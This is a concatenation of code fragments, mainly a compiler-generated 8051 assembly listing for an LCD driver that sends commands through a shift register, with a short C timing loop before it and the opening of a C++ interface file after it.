if (seconds > 1) break;
}
printf("Ran %i initializations in %d.%03d seconds\n", i, (uint32_t)seconds, (uint32_t)(seconds * 1000));
} |
;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 3.6.0 #9615 (MINGW32)
;--------------------------------------------------------
.module IHM_lcd595
.optsdcc -mmcs51 --model-small
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _CY
.globl _AC
.globl _F0
.globl _RS1
.globl _RS0
.globl _OV
.globl _FL
.globl _P
.globl _PS
.globl _PT1
.globl _PX1
.globl _PT0
.globl _PX0
.globl _RD
.globl _WR
.globl _T1
.globl _T0
.globl _INT1
.globl _INT0
.globl _TXD
.globl _RXD
.globl _P3_7
.globl _P3_6
.globl _P3_5
.globl _P3_4
.globl _P3_3
.globl _P3_2
.globl _P3_1
.globl _P3_0
.globl _EA
.globl _ES
.globl _ET1
.globl _EX1
.globl _ET0
.globl _EX0
.globl _P2_7
.globl _P2_6
.globl _P2_5
.globl _P2_4
.globl _P2_3
.globl _P2_2
.globl _P2_1
.globl _P2_0
.globl _SM0
.globl _SM1
.globl _SM2
.globl _REN
.globl _TB8
.globl _RB8
.globl _TI
.globl _RI
.globl _P1_7
.globl _P1_6
.globl _P1_5
.globl _P1_4
.globl _P1_3
.globl _P1_2
.globl _P1_1
.globl _P1_0
.globl _TF1
.globl _TR1
.globl _TF0
.globl _TR0
.globl _IE1
.globl _IT1
.globl _IE0
.globl _IT0
.globl _P0_7
.globl _P0_6
.globl _P0_5
.globl _P0_4
.globl _P0_3
.globl _P0_2
.globl _P0_1
.globl _P0_0
.globl _B
.globl _A
.globl _ACC
.globl _PSW
.globl _IP
.globl _P3
.globl _IE
.globl _P2
.globl _SBUF
.globl _SCON
.globl _P1
.globl _TH1
.globl _TH0
.globl _TL1
.globl _TL0
.globl _TMOD
.globl _TCON
.globl _PCON
.globl _DPH
.globl _DPL
.globl _SP
.globl _P0
.globl _lcd_printN_PARM_2
.globl _lcd_set_PARM_2
.globl ____background
.globl _lcd_begin
.globl _lcd_clear
.globl _lcd_home
.globl _lcd_cursor
.globl _lcd_display
.globl _lcd_set
.globl _lcd_backlight
.globl _lcd_printC
.globl _lcd_printS
.globl _lcd_printN
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
.area RSEG (ABS,DATA)
.org 0x0000
_P0 = 0x0080
_SP = 0x0081
_DPL = 0x0082
_DPH = 0x0083
_PCON = 0x0087
_TCON = 0x0088
_TMOD = 0x0089
_TL0 = 0x008a
_TL1 = 0x008b
_TH0 = 0x008c
_TH1 = 0x008d
_P1 = 0x0090
_SCON = 0x0098
_SBUF = 0x0099
_P2 = 0x00a0
_IE = 0x00a8
_P3 = 0x00b0
_IP = 0x00b8
_PSW = 0x00d0
_ACC = 0x00e0
_A = 0x00e0
_B = 0x00f0
;--------------------------------------------------------
; special function bits
;--------------------------------------------------------
.area RSEG (ABS,DATA)
.org 0x0000
_P0_0 = 0x0080
_P0_1 = 0x0081
_P0_2 = 0x0082
_P0_3 = 0x0083
_P0_4 = 0x0084
_P0_5 = 0x0085
_P0_6 = 0x0086
_P0_7 = 0x0087
_IT0 = 0x0088
_IE0 = 0x0089
_IT1 = 0x008a
_IE1 = 0x008b
_TR0 = 0x008c
_TF0 = 0x008d
_TR1 = 0x008e
_TF1 = 0x008f
_P1_0 = 0x0090
_P1_1 = 0x0091
_P1_2 = 0x0092
_P1_3 = 0x0093
_P1_4 = 0x0094
_P1_5 = 0x0095
_P1_6 = 0x0096
_P1_7 = 0x0097
_RI = 0x0098
_TI = 0x0099
_RB8 = 0x009a
_TB8 = 0x009b
_REN = 0x009c
_SM2 = 0x009d
_SM1 = 0x009e
_SM0 = 0x009f
_P2_0 = 0x00a0
_P2_1 = 0x00a1
_P2_2 = 0x00a2
_P2_3 = 0x00a3
_P2_4 = 0x00a4
_P2_5 = 0x00a5
_P2_6 = 0x00a6
_P2_7 = 0x00a7
_EX0 = 0x00a8
_ET0 = 0x00a9
_EX1 = 0x00aa
_ET1 = 0x00ab
_ES = 0x00ac
_EA = 0x00af
_P3_0 = 0x00b0
_P3_1 = 0x00b1
_P3_2 = 0x00b2
_P3_3 = 0x00b3
_P3_4 = 0x00b4
_P3_5 = 0x00b5
_P3_6 = 0x00b6
_P3_7 = 0x00b7
_RXD = 0x00b0
_TXD = 0x00b1
_INT0 = 0x00b2
_INT1 = 0x00b3
_T0 = 0x00b4
_T1 = 0x00b5
_WR = 0x00b6
_RD = 0x00b7
_PX0 = 0x00b8
_PT0 = 0x00b9
_PX1 = 0x00ba
_PT1 = 0x00bb
_PS = 0x00bc
_P = 0x00d0
_FL = 0x00d1
_OV = 0x00d2
_RS0 = 0x00d3
_RS1 = 0x00d4
_F0 = 0x00d5
_AC = 0x00d6
_CY = 0x00d7
;--------------------------------------------------------
; overlayable register banks
;--------------------------------------------------------
.area REG_BANK_0 (REL,OVR,DATA)
.ds 8
;--------------------------------------------------------
; internal ram data
;--------------------------------------------------------
.area DSEG (DATA)
____background::
.ds 1
_lcd_cmd_PARM_2:
.ds 1
_lcd_set_PARM_2:
.ds 1
_lcd_set_count_4_36:
.ds 2
_lcd_printN_PARM_2:
.ds 1
_lcd_printN__count_1_45:
.ds 1
_lcd_printN__aux_1_45:
.ds 4
_lcd_printN__print_aux_1_45:
.ds 17
_lcd_printN__signed_1_45:
.ds 1
;--------------------------------------------------------
; overlayable items in internal ram
;--------------------------------------------------------
.area OSEG (OVR,DATA)
_lcd_delay40us_count_1_12:
.ds 2
.area OSEG (OVR,DATA)
_lcd_delay4ms_count_1_13:
.ds 2
.area OSEG (OVR,DATA)
_lcd_send_count_4_19:
.ds 2
;--------------------------------------------------------
; indirectly addressable internal ram data
;--------------------------------------------------------
.area ISEG (DATA)
;--------------------------------------------------------
; absolute internal ram data
;--------------------------------------------------------
.area IABS (ABS,DATA)
.area IABS (ABS,DATA)
;--------------------------------------------------------
; bit data
;--------------------------------------------------------
.area BSEG (BIT)
;--------------------------------------------------------
; paged external ram data
;--------------------------------------------------------
.area PSEG (PAG,XDATA)
;--------------------------------------------------------
; external ram data
;--------------------------------------------------------
.area XSEG (XDATA)
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
.area XABS (ABS,XDATA)
;--------------------------------------------------------
; external initialized ram data
;--------------------------------------------------------
.area XISEG (XDATA)
.area HOME (CODE)
.area GSINIT0 (CODE)
.area GSINIT1 (CODE)
.area GSINIT2 (CODE)
.area GSINIT3 (CODE)
.area GSINIT4 (CODE)
.area GSINIT5 (CODE)
.area GSINIT (CODE)
.area GSFINAL (CODE)
.area CSEG (CODE)
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area HOME (CODE)
.area GSINIT (CODE)
.area GSFINAL (CODE)
.area GSINIT (CODE)
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area HOME (CODE)
.area HOME (CODE)
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area CSEG (CODE)
;------------------------------------------------------------
;Allocation info for local variables in function 'lcd_delay40us'
;------------------------------------------------------------
;count Allocated with name '_lcd_delay40us_count_1_12'
;------------------------------------------------------------
; IHM_lcd595.c:13: inline static void lcd_delay40us() {
; -----------------------------------------
; function lcd_delay40us
; -----------------------------------------
_lcd_delay40us:
ar7 = 0x07
ar6 = 0x06
ar5 = 0x05
ar4 = 0x04
ar3 = 0x03
ar2 = 0x02
ar1 = 0x01
ar0 = 0x00
; IHM_lcd595.c:14: volatile unsigned int count = sendTick;
mov _lcd_delay40us_count_1_12,#0x02
mov (_lcd_delay40us_count_1_12 + 1),#0x00
; IHM_lcd595.c:15: while(count--);
00101$:
mov r6,_lcd_delay40us_count_1_12
mov r7,(_lcd_delay40us_count_1_12 + 1)
dec _lcd_delay40us_count_1_12
mov a,#0xff
cjne a,_lcd_delay40us_count_1_12,00109$
dec (_lcd_delay40us_count_1_12 + 1)
00109$:
mov a,r6
orl a,r7
jnz 00101$
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'lcd_delay4ms'
;------------------------------------------------------------
;count Allocated with name '_lcd_delay4ms_count_1_13'
;------------------------------------------------------------
; IHM_lcd595.c:18: static void lcd_delay4ms() {
; -----------------------------------------
; function lcd_delay4ms
; -----------------------------------------
_lcd_delay4ms:
; IHM_lcd595.c:19: volatile unsigned int count = initTick;
mov _lcd_delay4ms_count_1_13,#0xfa
mov (_lcd_delay4ms_count_1_13 + 1),#0x00
; IHM_lcd595.c:20: while(count--);
00101$:
mov r6,_lcd_delay4ms_count_1_13
mov r7,(_lcd_delay4ms_count_1_13 + 1)
dec _lcd_delay4ms_count_1_13
mov a,#0xff
cjne a,_lcd_delay4ms_count_1_13,00109$
dec (_lcd_delay4ms_count_1_13 + 1)
00109$:
mov a,r6
orl a,r7
jnz 00101$
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'lcd_send'
;------------------------------------------------------------
;_dado Allocated to registers r7
;_aux Allocated to registers r6
;count Allocated with name '_lcd_send_count_4_19'
;------------------------------------------------------------
; IHM_lcd595.c:25: static void lcd_send(unsigned char _dado) {
; -----------------------------------------
; function lcd_send
; -----------------------------------------
_lcd_send:
mov r7,dpl
; IHM_lcd595.c:29: for(_aux=0; _aux<6; _aux++){ /*Envia dado bit a bit para display ate o sexto bit*/
mov r6,#0x00
00109$:
; IHM_lcd595.c:31: if(_dado&0x01) _data; /*Verifica se dado a ser enviado e 1 comparando com mascara 0b00000001*/
mov a,r7
jnb acc.0,00102$
setb _P3_1
sjmp 00103$
00102$:
; IHM_lcd595.c:38: else _Ndata; /*Se nao, limpa o pino escolhido como _data e envia 0 para deslocador*/
clr _P3_1
00103$:
; IHM_lcd595.c:41: _clock; /*Borda de subida para deslocar dado enviado no deslocador de bit 74LS595*/
setb _P3_0
; IHM_lcd595.c:42: _Nclock; /*Borda de descida para deslocar dado enviado no deslocador de bit 74LS595*/
clr _P3_0
; IHM_lcd595.c:44: _dado = _dado>>1; /*Desloca dado uma casa para a direita para enviar o proximo bit*/
mov a,r7
clr c
rrc a
mov r7,a
; IHM_lcd595.c:29: for(_aux=0; _aux<6; _aux++){ /*Envia dado bit a bit para display ate o sexto bit*/
inc r6
cjne r6,#0x06,00127$
00127$:
jc 00109$
; IHM_lcd595.c:48: _enable; /*Borda de subida para o sinal de enable*/
setb _P3_2
; IHM_lcd595.c:49: _Nenable; /*Borda de descida para o sinal de enable*/
clr _P3_2
; IHM_lcd595.c:14: volatile unsigned int count = sendTick;
mov _lcd_send_count_4_19,#0x02
mov (_lcd_send_count_4_19 + 1),#0x00
; IHM_lcd595.c:15: while(count--);
00105$:
mov r6,_lcd_send_count_4_19
mov r7,(_lcd_send_count_4_19 + 1)
dec _lcd_send_count_4_19
mov a,#0xff
cjne a,_lcd_send_count_4_19,00129$
dec (_lcd_send_count_4_19 + 1)
00129$:
mov a,r6
orl a,r7
jnz 00105$
; IHM_lcd595.c:50: lcd_delay40us(); /*Aguarda tempo para LCD aceitar instrucao*/
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'lcd_cmd'
;------------------------------------------------------------
;_comando Allocated with name '_lcd_cmd_PARM_2'
;_dado Allocated to registers r7
;_enviar Allocated to registers r6
;------------------------------------------------------------
; IHM_lcd595.c:55: static void lcd_cmd(unsigned char _dado, unsigned char _comando) {
; -----------------------------------------
; function lcd_cmd
; -----------------------------------------
_lcd_cmd:
; IHM_lcd595.c:62: _enviar = _dado>>4; /*Salva na variavel o nibble mais significativo do dado
mov a,dpl
mov r7,a
swap a
anl a,#0x0f
mov r6,a
; IHM_lcd595.c:67: if (_comando) _enviar &= ~(1<<4); /*Se parametro comando for 1, altera o 5 bit para 0*/
mov a,_lcd_cmd_PARM_2
jz 00102$
anl ar6,#0xef
sjmp 00103$
00102$:
; IHM_lcd595.c:68: else _enviar|=(1<<4); /*Se nao, se parametro comando for 0, altera o 5 bit para 1*/
orl ar6,#0x10
00103$:
; IHM_lcd595.c:71: if (___background) _enviar |= (1<<5); /*Se background do display setado como ligado, altera o 6 bit para 1*/
mov a,____background
jz 00105$
orl ar6,#0x20
sjmp 00106$
00105$:
; IHM_lcd595.c:72: else _enviar &= ~(1<<5); /*Senao, altera o 6 bit para 0*/
anl ar6,#0xdf
00106$:
; IHM_lcd595.c:75: lcd_send(_enviar); /*_enviado = 0b00BR DDDD; envia os 4 bits mais significativos para o display
mov dpl,r6
push ar7
lcall _lcd_send
pop ar7
; IHM_lcd595.c:83: if (_comando) _enviar &= ~(1<<4); /*Se parametro comando for 1, altera o 5 bit para 0*/
mov a,_lcd_cmd_PARM_2
jz 00108$
mov a,#0xef
anl a,r7
mov r6,a
sjmp 00109$
00108$:
; IHM_lcd595.c:84: else _enviar|=(1<<4); /*Se nao, se parametro comando for 0, altera o 5 bit para 1*/
mov a,#0x10
orl a,r7
mov r6,a
00109$:
; IHM_lcd595.c:87: if (___background) _enviar |= (1<<5); /*Se background do display setado como ligado altera o 6 bit para 1*/
mov a,____background
jz 00111$
orl ar6,#0x20
sjmp 00112$
00111$:
; IHM_lcd595.c:88: else _enviar &= ~(1<<5); /*Senao, altera o 6 bit para 0
anl ar6,#0xdf
00112$:
; IHM_lcd595.c:91: lcd_send(_enviar); /*_enviado = 0bxxBR dddd; envia os 4 bits menos significativos para o display
mov dpl,r6
ljmp _lcd_send
;------------------------------------------------------------
;Allocation info for local variables in function 'lcd_begin'
;------------------------------------------------------------
; IHM_lcd595.c:100: void lcd_begin(void) {
; -----------------------------------------
; function lcd_begin
; -----------------------------------------
_lcd_begin:
; IHM_lcd595.c:102: _Nclock;
clr _P3_0
; IHM_lcd595.c:103: _Ndata;
clr _P3_1
; IHM_lcd595.c:104: _Nenable;
clr _P3_2
; IHM_lcd595.c:112: lcd_cmd(0x30,comando);
mov _lcd_cmd_PARM_2,#0x01
mov dpl,#0x30
lcall _lcd_cmd
; IHM_lcd595.c:113: lcd_delay4ms();
lcall _lcd_delay4ms
; IHM_lcd595.c:114: lcd_cmd(0x30,comando);
mov _lcd_cmd_PARM_2,#0x01
mov dpl,#0x30
lcall _lcd_cmd
; IHM_lcd595.c:115: lcd_delay4ms();
lcall _lcd_delay4ms
; IHM_lcd595.c:116: lcd_cmd(0x30,comando); /*Tres tentativas para resolver bugs*/
mov _lcd_cmd_PARM_2,#0x01
mov dpl,#0x30
lcall _lcd_cmd
; IHM_lcd595.c:117: lcd_delay4ms();
lcall _lcd_delay4ms
; IHM_lcd595.c:119: lcd_cmd(0x02,comando); /*Envia comando para colocar lcd em modo de 4bits*/
mov _lcd_cmd_PARM_2,#0x01
mov dpl,#0x02
lcall _lcd_cmd
; IHM_lcd595.c:120: lcd_delay4ms(); /*Aguarda tempo de 4.5ms para inicializacao
lcall _lcd_delay4ms
; IHM_lcd595.c:125: lcd_cmd(0x28,comando); /*Envia comando para configurar lcd como 2 linhas e matriz 5x8*/
mov _lcd_cmd_PARM_2,#0x01
mov dpl,#0x28
lcall _lcd_cmd
; IHM_lcd595.c:126: lcd_delay4ms(); /*Aguarda tempo de 4.5ms para inicializacao
lcall _lcd_delay4ms
; IHM_lcd595.c:131: lcd_cursor(desligado); /*Envia comando para configurar cursor desligado como padrao
mov dpl,#0x0c
lcall _lcd_cursor
; IHM_lcd595.c:135: lcd_clear(); /*Garante que display esteja limpo a inicializar*/
lcall _lcd_clear
; IHM_lcd595.c:136: lcd_set(0,0); /*Posiciona cursor no inicio*/
mov _lcd_set_PARM_2,#0x00
mov dpl,#0x00
ljmp _lcd_set
;------------------------------------------------------------
;Allocation info for local variables in function 'lcd_clear'
;------------------------------------------------------------
; IHM_lcd595.c:141: void lcd_clear(void) {
; -----------------------------------------
; function lcd_clear
; -----------------------------------------
_lcd_clear:
; IHM_lcd595.c:143: lcd_cmd(0x01,comando); /*Envia comando para limpar o display lcd*/
mov _lcd_cmd_PARM_2,#0x01
mov dpl,#0x01
lcall _lcd_cmd
; IHM_lcd595.c:144: lcd_delay4ms(); /*Aguarda tempo de 2ms para a instrucao ser executada
ljmp _lcd_delay4ms
;------------------------------------------------------------
;Allocation info for local variables in function 'lcd_home'
;------------------------------------------------------------
; IHM_lcd595.c:152: void lcd_home(void) {
; -----------------------------------------
; function lcd_home
; -----------------------------------------
_lcd_home:
; IHM_lcd595.c:154: lcd_cmd(0x02,comando); /*Envia comando para retornar o cursor do display para o inicio*/
mov _lcd_cmd_PARM_2,#0x01
mov dpl,#0x02
lcall _lcd_cmd
; IHM_lcd595.c:155: lcd_delay4ms(); /*Aguarda tempo de 2ms para a instrucao ser executada
ljmp _lcd_delay4ms
;------------------------------------------------------------
;Allocation info for local variables in function 'lcd_cursor'
;------------------------------------------------------------
;_modo Allocated to registers
;------------------------------------------------------------
; IHM_lcd595.c:163: void lcd_cursor(unsigned char _modo) { /*Parametro _modo e a forma com que o cursor do display ira se comportar
; -----------------------------------------
; function lcd_cursor
; -----------------------------------------
_lcd_cursor:
; IHM_lcd595.c:170: lcd_cmd(_modo,comando); /*Envia comando para mudar o modo do display*/
mov _lcd_cmd_PARM_2,#0x01
ljmp _lcd_cmd
;------------------------------------------------------------
;Allocation info for local variables in function 'lcd_display'
;------------------------------------------------------------
;mode Allocated to registers r7
;------------------------------------------------------------
; IHM_lcd595.c:176: void lcd_display(char mode) {
; -----------------------------------------
; function lcd_display
; -----------------------------------------
_lcd_display:
; IHM_lcd595.c:177: if(mode)
mov a,dpl
mov r7,a
jz 00102$
; IHM_lcd595.c:178: lcd_cmd(0x08,comando); /*Envia comando para desligar o display
mov _lcd_cmd_PARM_2,#0x01
mov dpl,#0x08
ljmp _lcd_cmd
00102$:
; IHM_lcd595.c:182: else lcd_cmd(0x0C,comando); /*Envia comando para ligar o display
mov _lcd_cmd_PARM_2,#0x01
mov dpl,#0x0c
ljmp _lcd_cmd
;------------------------------------------------------------
;Allocation info for local variables in function 'lcd_set'
;------------------------------------------------------------
;_linha Allocated with name '_lcd_set_PARM_2'
;_coluna Allocated to registers r7
;_aux Allocated to registers r6
;count Allocated with name '_lcd_set_count_4_36'
;------------------------------------------------------------
; IHM_lcd595.c:190: void lcd_set(unsigned char _coluna, unsigned char _linha) {
; -----------------------------------------
; function lcd_set
; -----------------------------------------
_lcd_set:
mov r7,dpl
; IHM_lcd595.c:203: if(_linha) _aux = 0xC0; /*Se parametro _linha for 1 envia o endereco da segunda linha do display
mov a,_lcd_set_PARM_2
jz 00102$
mov r6,#0xc0
sjmp 00103$
00102$:
; IHM_lcd595.c:205: else _aux = 0x80; /*Se nao, quando envia 0 para parametro
mov r6,#0x80
00103$:
; IHM_lcd595.c:208: _aux |= _coluna; /*Realiza uma operacao | (OR) com o nibble de coluna
mov a,r7
orl ar6,a
; IHM_lcd595.c:215: lcd_cmd(_aux,comando); /*Envia o comando para para posicionar o cursor do display no endereco*/
mov _lcd_cmd_PARM_2,#0x01
mov dpl,r6
lcall _lcd_cmd
; IHM_lcd595.c:14: volatile unsigned int count = sendTick;
mov _lcd_set_count_4_36,#0x02
mov (_lcd_set_count_4_36 + 1),#0x00
; IHM_lcd595.c:15: while(count--);
00104$:
mov r6,_lcd_set_count_4_36
mov r7,(_lcd_set_count_4_36 + 1)
dec _lcd_set_count_4_36
mov a,#0xff
cjne a,_lcd_set_count_4_36,00117$
dec (_lcd_set_count_4_36 + 1)
00117$:
mov a,r6
orl a,r7
jnz 00104$
; IHM_lcd595.c:216: lcd_delay40us(); /*Aguarda o display realizar o posicionamento
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'lcd_backlight'
;------------------------------------------------------------
;_on_off Allocated to registers
;------------------------------------------------------------
; IHM_lcd595.c:222: void lcd_backlight(unsigned char _on_off) {
; -----------------------------------------
; function lcd_backlight
; -----------------------------------------
_lcd_backlight:
mov ____background,dpl
; IHM_lcd595.c:229: lcd_cmd(0x00,comando); /*Envia para o display um comando NOP (0x00)
mov _lcd_cmd_PARM_2,#0x01
mov dpl,#0x00
ljmp _lcd_cmd
;------------------------------------------------------------
;Allocation info for local variables in function 'lcd_printC'
;------------------------------------------------------------
;_print Allocated to registers
;------------------------------------------------------------
; IHM_lcd595.c:240: void lcd_printC(unsigned char _print) {
; -----------------------------------------
; function lcd_printC
; -----------------------------------------
_lcd_printC:
; IHM_lcd595.c:246: lcd_cmd(_print,dado); /*Envia o parametro _print para o display como um dado*/
mov _lcd_cmd_PARM_2,#0x00
ljmp _lcd_cmd
;------------------------------------------------------------
;Allocation info for local variables in function 'lcd_printS'
;------------------------------------------------------------
;_print Allocated to registers
;------------------------------------------------------------
; IHM_lcd595.c:251: void lcd_printS(const char *_print) {
; -----------------------------------------
; function lcd_printS
; -----------------------------------------
_lcd_printS:
mov r5,dpl
mov r6,dph
mov r7,b
; IHM_lcd595.c:277: while(*_print!='\0') { /*Enquanto o programa nao encontra um caracter nulo(0),
00101$:
mov dpl,r5
mov dph,r6
mov b,r7
lcall __gptrget
mov r4,a
jz 00104$
; IHM_lcd595.c:279: lcd_cmd(*_print,dado); /*Envia para o display LCD o conteudo do endereco apontado pelo ponteiro*/
mov _lcd_cmd_PARM_2,#0x00
mov dpl,r4
push ar7
push ar6
push ar5
lcall _lcd_cmd
pop ar5
pop ar6
pop ar7
; IHM_lcd595.c:280: _print++; /*Avanca o ponteiro para a proxima posicao da string*/
inc r5
cjne r5,#0x00,00101$
inc r6
sjmp 00101$
00104$:
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'lcd_printN'
;------------------------------------------------------------
;_decimal Allocated with name '_lcd_printN_PARM_2'
;_print Allocated to registers r4 r5 r6 r7
;_count Allocated with name '_lcd_printN__count_1_45'
;_aux Allocated with name '_lcd_printN__aux_1_45'
;_print_aux Allocated with name '_lcd_printN__print_aux_1_45'
;_signed Allocated with name '_lcd_printN__signed_1_45'
;------------------------------------------------------------
; IHM_lcd595.c:293: void lcd_printN(float _print, unsigned char _decimal) {
; -----------------------------------------
; function lcd_printN
; -----------------------------------------
_lcd_printN:
mov r4,dpl
mov r5,dph
mov r6,b
mov r7,a
; IHM_lcd595.c:310: while( _count < _decimal) { /*Enquando _count menor que _decimal*/
mov r3,#0x00
00101$:
clr c
mov a,r3
subb a,_lcd_printN_PARM_2
jnc 00103$
; IHM_lcd595.c:312: _count++; /*Incrementa _count*/
inc r3
; IHM_lcd595.c:313: _print*=10.0; /*Multiplica parametro _print por 10
push ar3
push ar4
push ar5
push ar6
push ar7
mov dptr,#0x0000
mov b,#0x20
mov a,#0x41
lcall ___fsmul
mov r4,dpl
mov r5,dph
mov r6,b
mov r7,a
mov a,sp
add a,#0xfc
mov sp,a
pop ar3
sjmp 00101$
00103$:
; IHM_lcd595.c:326: _aux = (long int)_print; /*A parte inteira do valor e salva na variavel _aux*/
mov dpl,r4
mov dph,r5
mov b,r6
mov a,r7
lcall ___fs2slong
mov _lcd_printN__aux_1_45,dpl
mov (_lcd_printN__aux_1_45 + 1),dph
mov (_lcd_printN__aux_1_45 + 2),b
mov (_lcd_printN__aux_1_45 + 3),a
; IHM_lcd595.c:328: if(_aux&(1UL<<31)) { /*Testa se foi enviado um numero negativo
mov a,(_lcd_printN__aux_1_45 + 3)
jnb acc.7,00105$
; IHM_lcd595.c:334: _aux=~_aux+1; /*Numeros negativos sao visto pelo processador como inversos aos positivos
mov a,_lcd_printN__aux_1_45
cpl a
mov r4,a
mov a,(_lcd_printN__aux_1_45 + 1)
cpl a
mov r5,a
mov a,(_lcd_printN__aux_1_45 + 2)
cpl a
mov r6,a
mov a,(_lcd_printN__aux_1_45 + 3)
cpl a
mov r7,a
mov a,#0x01
add a,r4
mov _lcd_printN__aux_1_45,a
clr a
addc a,r5
mov (_lcd_printN__aux_1_45 + 1),a
clr a
addc a,r6
mov (_lcd_printN__aux_1_45 + 2),a
clr a
addc a,r7
mov (_lcd_printN__aux_1_45 + 3),a
; IHM_lcd595.c:340: _signed = 1; /*Seta _signed para indicar que deve ser impresso o '-'*/
mov _lcd_printN__signed_1_45,#0x01
sjmp 00106$
00105$:
; IHM_lcd595.c:342: else _signed = 0; /*Se nao for um numero negativo
mov _lcd_printN__signed_1_45,#0x00
00106$:
; IHM_lcd595.c:346: _count = 1; /*Seta variavel _count para a proxima parte do algoritimo
mov r6,#0x01
; IHM_lcd595.c:350: if(_decimal) { /*Se foi requisitado algum numero decimal o algoritimo entra nesse laco
mov a,_lcd_printN_PARM_2
jz 00128$
; IHM_lcd595.c:353: while(_decimal) { /*Enquanto tiver numero decimal*/
mov _lcd_printN__count_1_45,#0x01
mov r4,_lcd_printN_PARM_2
00107$:
mov a,r4
jz 00109$
; IHM_lcd595.c:355: _print_aux[_count]=(_aux%10)+'0'; /*Esta operacao retira os numeros da variavel _aux
mov a,_lcd_printN__count_1_45
add a,#_lcd_printN__print_aux_1_45
mov r1,a
mov __modslong_PARM_2,#0x0a
clr a
mov (__modslong_PARM_2 + 1),a
mov (__modslong_PARM_2 + 2),a
mov (__modslong_PARM_2 + 3),a
mov dpl,_lcd_printN__aux_1_45
mov dph,(_lcd_printN__aux_1_45 + 1)
mov b,(_lcd_printN__aux_1_45 + 2)
mov a,(_lcd_printN__aux_1_45 + 3)
push ar4
push ar1
lcall __modslong
mov r2,dpl
pop ar1
mov a,#0x30
add a,r2
mov @r1,a
; IHM_lcd595.c:361: _aux/=10; /*_aux e dividido por 10
mov __divslong_PARM_2,#0x0a
clr a
mov (__divslong_PARM_2 + 1),a
mov (__divslong_PARM_2 + 2),a
mov (__divslong_PARM_2 + 3),a
mov dpl,_lcd_printN__aux_1_45
mov dph,(_lcd_printN__aux_1_45 + 1)
mov b,(_lcd_printN__aux_1_45 + 2)
mov a,(_lcd_printN__aux_1_45 + 3)
lcall __divslong
mov _lcd_printN__aux_1_45,dpl
mov (_lcd_printN__aux_1_45 + 1),dph
mov (_lcd_printN__aux_1_45 + 2),b
mov (_lcd_printN__aux_1_45 + 3),a
pop ar4
; IHM_lcd595.c:366: _count++; /* _count e incremetado para apontar para um novo endereco*/
inc _lcd_printN__count_1_45
; IHM_lcd595.c:368: _decimal--; /*Decrementa variavel _decimal e indica que um decimal requisitado
dec r4
sjmp 00107$
00109$:
; IHM_lcd595.c:373: _print_aux[_count]=','; /*Quando todos os decimais requisitados foram convertidos
mov a,_lcd_printN__count_1_45
add a,#_lcd_printN__print_aux_1_45
mov r0,a
mov @r0,#0x2c
; IHM_lcd595.c:378: _count++; /*Incrementa o endereco para guardar os proximos caracteres*/
mov a,_lcd_printN__count_1_45
inc a
mov r6,a
; IHM_lcd595.c:383: do { /*Executa a operacao pelo menos uma vez
00128$:
mov ar7,r6
00112$:
; IHM_lcd595.c:386: _print_aux[_count]=(_aux%10)+'0'; /*Operacao de separacao e convercao da parte inteira do numero
mov a,r7
add a,#_lcd_printN__print_aux_1_45
mov r1,a
mov __modslong_PARM_2,#0x0a
clr a
mov (__modslong_PARM_2 + 1),a
mov (__modslong_PARM_2 + 2),a
mov (__modslong_PARM_2 + 3),a
mov dpl,_lcd_printN__aux_1_45
mov dph,(_lcd_printN__aux_1_45 + 1)
mov b,(_lcd_printN__aux_1_45 + 2)
mov a,(_lcd_printN__aux_1_45 + 3)
push ar7
push ar1
lcall __modslong
mov r2,dpl
pop ar1
mov a,#0x30
add a,r2
mov @r1,a
; IHM_lcd595.c:390: _aux/=10; /*Divide _aux por 10 para processar o proximo numero*/
mov __divslong_PARM_2,#0x0a
clr a
mov (__divslong_PARM_2 + 1),a
mov (__divslong_PARM_2 + 2),a
mov (__divslong_PARM_2 + 3),a
mov dpl,_lcd_printN__aux_1_45
mov dph,(_lcd_printN__aux_1_45 + 1)
mov b,(_lcd_printN__aux_1_45 + 2)
mov a,(_lcd_printN__aux_1_45 + 3)
lcall __divslong
mov _lcd_printN__aux_1_45,dpl
mov (_lcd_printN__aux_1_45 + 1),dph
mov (_lcd_printN__aux_1_45 + 2),b
mov (_lcd_printN__aux_1_45 + 3),a
pop ar7
; IHM_lcd595.c:391: _count++; /*Incrementa ponteiro para o proximo endereco da variavel _print_aux[]*/
inc r7
; IHM_lcd595.c:393: } while (_aux); /*Repete esta operacao enquanto haver um numero
mov a,_lcd_printN__aux_1_45
orl a,(_lcd_printN__aux_1_45 + 1)
orl a,(_lcd_printN__aux_1_45 + 2)
orl a,(_lcd_printN__aux_1_45 + 3)
jnz 00112$
; IHM_lcd595.c:396: if (_signed) /*Testa se _signed foi setado*/
mov ar6,r7
mov a,_lcd_printN__signed_1_45
jz 00116$
; IHM_lcd595.c:397: _print_aux[_count] = '-'; /*Se sim, o numero enviado e negativo e impresso '-' no inicio do numero*/
mov a,r7
add a,#_lcd_printN__print_aux_1_45
mov r0,a
mov @r0,#0x2d
sjmp 00132$
00116$:
; IHM_lcd595.c:399: _count--; /*Decrementa um endereco para corrigir posicionamento da variavel*/
mov a,r7
dec a
mov r6,a
; IHM_lcd595.c:401: while (_count) { /*Inicio da impressao dos caracteres convertidos
00132$:
mov ar7,r6
00118$:
mov a,r7
jz 00121$
; IHM_lcd595.c:407: lcd_cmd(_print_aux[_count],dado); /*Imprime o caractere no endereco apontado por _count*/
mov a,r7
add a,#_lcd_printN__print_aux_1_45
mov r1,a
mov dpl,@r1
mov _lcd_cmd_PARM_2,#0x00
push ar7
lcall _lcd_cmd
pop ar7
; IHM_lcd595.c:408: _count--; /*Decrementa _count para pontar para o proximo caracter a ser impresso*/
dec r7
sjmp 00118$
00121$:
ret
.area CSEG (CODE)
.area CONST (CODE)
.area XINIT (CODE)
.area CABS (ABS,CODE)
|
/**
* @addtogroup DFPCs
* @{
*/
#include "ReconstructionAndIdentificationInterface.hpp"
namespace CDFF
{
namespace DFPC
{
ReconstructionAndIdentificationInterface::ReconstructionAndIdentificationInterface()
{
asn1SccFrame_Initialize(& inLeftImage);
